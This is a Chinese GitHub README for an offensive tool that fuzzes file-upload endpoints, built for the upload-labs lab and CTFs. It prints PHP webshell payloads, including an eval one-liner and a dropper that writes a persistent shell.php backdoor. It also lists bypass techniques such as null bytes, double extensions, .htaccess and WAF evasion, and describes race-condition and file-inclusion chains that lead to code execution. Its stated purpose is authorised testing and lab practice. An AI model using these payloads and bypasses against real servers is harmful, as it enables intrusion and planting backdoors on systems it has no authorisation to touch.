Upload Auto Fuzz
July 15, 2026 · View on GitHub
Upload Auto Fuzz 是一款文件上传漏洞自动化 Fuzz 测试工具,通过智能生成变异 Payload 对目标上传接口进行批量测试,快速发现绕过姿势。支持 16 种绕过策略、条件竞争模式、文件包含链式利用 和 多语言 WebShell 生成。
适用于:渗透测试 | 安全审计 | CTF 比赛 | upload-labs 靶场练习
核心特性
- 16 种 Fuzz 策略:后缀绕过、Content-Disposition 变异、Content-Type 伪造、大小写变换、双扩展名、空字节注入、特殊字符、编码绕过、WAF 绕过、Magic Bytes、Windows/Linux 特性、配置文件上传、WebShell 内容变异、save_name POST 参数绕过、save_path GET 参数绕过
- 多语言支持:PHP / ASP / ASPX / JSP 全系列 WebShell 生成
- 条件竞争模式:专为 upload-labs Pass-18 设计,高频并发上传 + 访问,利用文件删除时间窗口
- 文件包含链式利用:利用靶场全局
/include.php将上传文件作为 PHP 执行,不受扩展名限制 - 智能响应分析:中英文关键词匹配,自动判定上传成功/失败/重定向/服务器错误
- 模块化架构:低耦合设计,策略可独立扩展,新增策略仅需实现一个方法
- 代理支持:配合 Burp Suite 进行详细请求分析
- 试运行模式:生成 Payload 不发送,提前预览测试内容
项目结构
Upload_Auto_Fuzz-main/
├── main.py # 入口程序
├── include_bypass.py # 文件包含链式利用脚本 (Pass-11/18)
├── input/ # 输入文件目录
│ ├── request.txt # 原始 HTTP 请求
│ └── payload.txt # 上传部分模板
├── output/ # 输出目录 (自动创建)
├── upload_fuzz/ # 核心模块包
│ ├── __init__.py
│ ├── core/ # 核心模块
│ │ ├── __init__.py
│ │ ├── logger.py # 日志输出
│ │ ├── config.py # 配置管理
│ │ └── factory.py # Payload 工厂
│ ├── strategies/ # Fuzz 策略模块
│ │ ├── __init__.py
│ │ ├── base.py # 策略基类
│ │ ├── suffix.py # 后缀绕过
│ │ ├── content_disposition.py # Content-Disposition 变异
│ │ ├── content_type.py # Content-Type 伪造
│ │ ├── windows_features.py # Windows 特性
│ │ ├── linux_features.py # Linux 特性
│ │ ├── magic_bytes.py # Magic Bytes
│ │ ├── null_byte.py # 空字节注入
│ │ ├── encoding.py # 编码绕过
│ │ ├── waf_bypass.py # WAF 绕过
│ │ ├── config_files.py # 配置文件上传
│ │ ├── webshell_content.py # WebShell 内容
│ │ ├── special_chars.py # 特殊字符
│ │ ├── case_variation.py # 大小写变换
│ │ ├── double_extension.py # 双扩展名
│ │ ├── save_name.py # save_name POST 参数绕过
│ │ └── save_path.py # save_path GET 参数绕过
│ ├── http/ # HTTP 模块
│ │ ├── __init__.py
│ │ ├── parser.py # 请求解析
│ │ └── sender.py # 请求发送
│ ├── analysis/ # 分析模块
│ │ ├── __init__.py
│ │ └── analyzer.py # 响应分析
│ └── utils/ # 工具模块
│ ├── __init__.py
│ ├── constants.py # 常量定义
│ └── helpers.py # 工具函数
├── README.md
├── .gitignore
└── requirements.txt
功能特性
- 16 种 Fuzz 策略:后缀绕过、Content-Disposition 变异、Content-Type 伪造、大小写变换、双扩展名、空字节注入、特殊字符、编码绕过、WAF 绕过、Magic Bytes、Windows/Linux 特性、配置文件、WebShell 内容、save_name POST 参数绕过、save_path GET 参数绕过
- 多语言支持:PHP / ASP / ASPX / JSP
- 智能响应分析:自动判定上传成功/失败,支持中英文关键词匹配
- 进度条显示:简洁的终端输出,进度条 + 错误计数
- 调试模式:自动保存前 5 个响应包用于排查问题
- 结果自动保存:疑似绕过的 Payload 保存到
output/目录 - 模块化架构:低耦合设计,策略可独立扩展
- 文件包含链式利用:通过
/include.php将任意后缀的上传文件作为 PHP 执行
安装
pip install -r requirements.txt
快速开始
1. 准备请求文件
从 Burp Suite 或浏览器抓包,将原始 HTTP 请求保存为 input/request.txt:
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php
<?php @eval($_REQUEST['a']);?>
------WebKitFormBoundary--
2. 准备 Payload 模板
将上传部分的 multipart 内容保存为 input/payload.txt:
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php
<?php @eval($_REQUEST['a']);?>
3. 运行
# 使用默认文件 (input/request.txt + input/payload.txt)
python3 main.py
# 指定文件
python3 main.py -r myreq.txt -p mypay.txt
使用说明
命令行参数
| 参数 | 缩写 | 说明 | 默认值 |
|---|---|---|---|
--request | -r | 原始 HTTP 请求文件路径 | input/request.txt |
--payload | -p | 上传部分模板文件路径 | input/payload.txt |
--languages | -l | 目标后端语言 (php/asp/aspx/jsp) | 全部 |
--output | -o | 测试结果输出文件 | 仅终端显示 |
--proxy | 代理地址 | 无 | |
--timeout | 请求超时时间 (秒) | 10 | |
--delay | 请求间隔 (秒) | 0 | |
--max-payloads | 最大生成 Payload 数 | 2000 | |
--dry-run | 仅生成 Payload 不发送 | 否 | |
--no-webshell | 不包含 WebShell 内容 | 否 | |
--enable-strategies | 仅启用指定策略 | 全部启用 | |
--disable-strategies | 禁用指定策略 | 无 | |
--follow-redirects | 跟随 HTTP 重定向 | 否 | |
--verbose | -v | 详细输出 | 否 |
--race-mode | 条件竞争模式(Pass-18) | 否 | |
--race-threads | 条件竞争并发线程数 | 20 | |
--race-rounds | 条件竞争上传轮数 | 50 | |
--include | 文件包含链式利用(Pass-11/18) | 否 |
使用示例
# 基本用法
python3 main.py
# 指定请求和 Payload 文件
python3 main.py -r myreq.txt -p mypay.txt
# 仅测试 PHP
python3 main.py -l php
# 通过代理发送 (Burp Suite)
python3 main.py --proxy http://127.0.0.1:8080
# 限制数量 + 请求间隔
python3 main.py --max-payloads 100 --delay 0.5
# 仅生成 Payload 不发送 (试运行)
python3 main.py --dry-run
# 仅启用 save_name 和 save_path 策略
python3 main.py --enable-strategies save_name save_path
# 禁用特定策略
python3 main.py --disable-strategies webshell_content
# 结果输出到文件
python3 main.py -o output/result.txt
# 详细模式
python3 main.py -v
# 文件包含链式利用 (Pass-11/18)
python3 include_bypass.py
python3 include_bypass.py --level 11
16 种 Fuzz 策略
| 策略名 | 说明 |
|---|---|
suffix | 后缀绕过 (php3/php4/php5/phtml/htaccess 等) |
content_disposition | Content-Disposition 字段变异 |
content_type | Content-Type 伪造 (image/jpeg 等) |
windows_features | Windows 特性 (NTFS 流、短文件名等) |
linux_features | Linux 特性 |
magic_bytes | 文件头 Magic Bytes 添加 |
null_byte | 空字节注入 (%00) |
double_extension | 双扩展名 (.php.jpg) |
case_variation | 大小写变换 (.PhP) |
special_chars | 特殊字符绕过 (空格、点号、分号等) |
encoding | 编码绕过 (URL 编码、双编码等) |
waf_bypass | WAF 绕过 (分块传输、注释混淆等) |
webshell_content | WebShell 内容变异 |
config_files | 配置文件上传 (.htaccess、web.config 等) |
save_name | save_name POST 参数注入绕过 (Pass-19/20) |
save_path | save_path GET 参数路径控制绕过 (Pass-11) |
输出文件
所有输出文件保存在 output/ 目录下:
| 文件 | 说明 |
|---|---|
output/debug_responses.txt | 前 5 个请求的完整响应包 (用于调试) |
output/payloads_success.txt | 疑似绕过的 Payload 详情 |
output/payloads_dry_run.txt | 试运行模式下生成的全部 Payload |
响应判定
| 判定 | 说明 |
|---|---|
LIKELY_SUCCESS | 疑似上传成功 |
LIKELY_FAIL | 疑似上传失败 |
REDIRECT | 重定向 |
FORBIDDEN | 403 禁止访问 |
SERVER_ERROR | 服务器错误 |
CLIENT_ERROR | 客户端错误 |
UNCLEAR | 无法判定 |
No response | 无响应 |
扩展策略
新增策略只需:
- 在
upload_fuzz/strategies/下创建新文件 - 继承
FuzzStrategy基类,实现generate()方法 - 在
upload_fuzz/strategies/__init__.py中导入 - 在
upload_fuzz/core/factory.py的_register_default_strategies中注册
条件竞争模式(Pass-18)
--race-mode 专门用于测试条件竞争漏洞(如 upload-labs Pass-18)。
原理
服务器端逻辑:
move_uploaded_file()先将上传文件保存到目录- 检查文件是否合法(后缀名等)
- 不合法则
unlink()删除文件
竞争利用:在文件保存到被删除之间的极短窗口内,通过高频访问触发 PHP 执行。
使用的 WebShell
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>'); ?>
一旦被执行,会在当前目录创建持久的 shell.php 后门文件。
使用方式
# 基本用法(20线程 × 50轮)
python3 main.py --race-mode
# 自定义并发数和轮数
python3 main.py --race-mode --race-threads 50 --race-rounds 100
验证
成功后会自动验证:
- 检查
shell.php是否存在(返回 200) - POST 请求
shell.php执行echo "RACE_OK"确认 PHP 可执行 - 成功则提示 shell.php 的 URL 连接信息
文件包含链式利用(Pass-11/18)
include_bypass.py 利用靶场全局 /include.php 文件包含漏洞,将上传文件作为 PHP 执行。
原理
/include.php 存在文件包含漏洞:
$file = $_GET['file'];
include $file;
无论上传文件后缀是什么(.jpg/.txt/.gif),include 均将文件内容作为 PHP 代码执行。
Pass-11 绕过
?save_path=../upload控制上传目录- 上传含 PHP 代码的
test.jpg include.php?file=upload/<timestamp>.jpg包含执行- PHP 代码创建持久化
shell.php
Pass-18 绕过
- 白名单(无 PHP)内上传
cmd.txt含 PHP 代码 include.php?file=upload<timestamp>.txt包含执行- PHP 代码
file_put_contents创建shell.php后门
使用方式
# 测试 Pass-11 和 Pass-18
python3 include_bypass.py
# 仅测试 Pass-11
python3 include_bypass.py --level 11
# 仅测试 Pass-18
python3 include_bypass.py --level 18
验证
成功后自动验证:
- 包含执行返回
INCLUDE_OK shell.php创建成功- POST
shell.php执行echo "SHELL_OK"确认 PHP 可执行
注意事项
- 本工具仅供授权安全测试使用,请勿用于非法用途
- 建议先用
--dry-run查看生成的 Payload,确认无误后再发送 - 使用
--delay参数控制请求频率,避免对目标造成过大压力 - 通过
--proxy参数配合 Burp Suite 等工具进行详细分析
相关推荐
- upload-labs - 文件上传漏洞靶场(Pass-18 条件竞争)
- Burp Suite - 配合代理进行请求分析
- 渗透测试工具集
Author
Diger_Young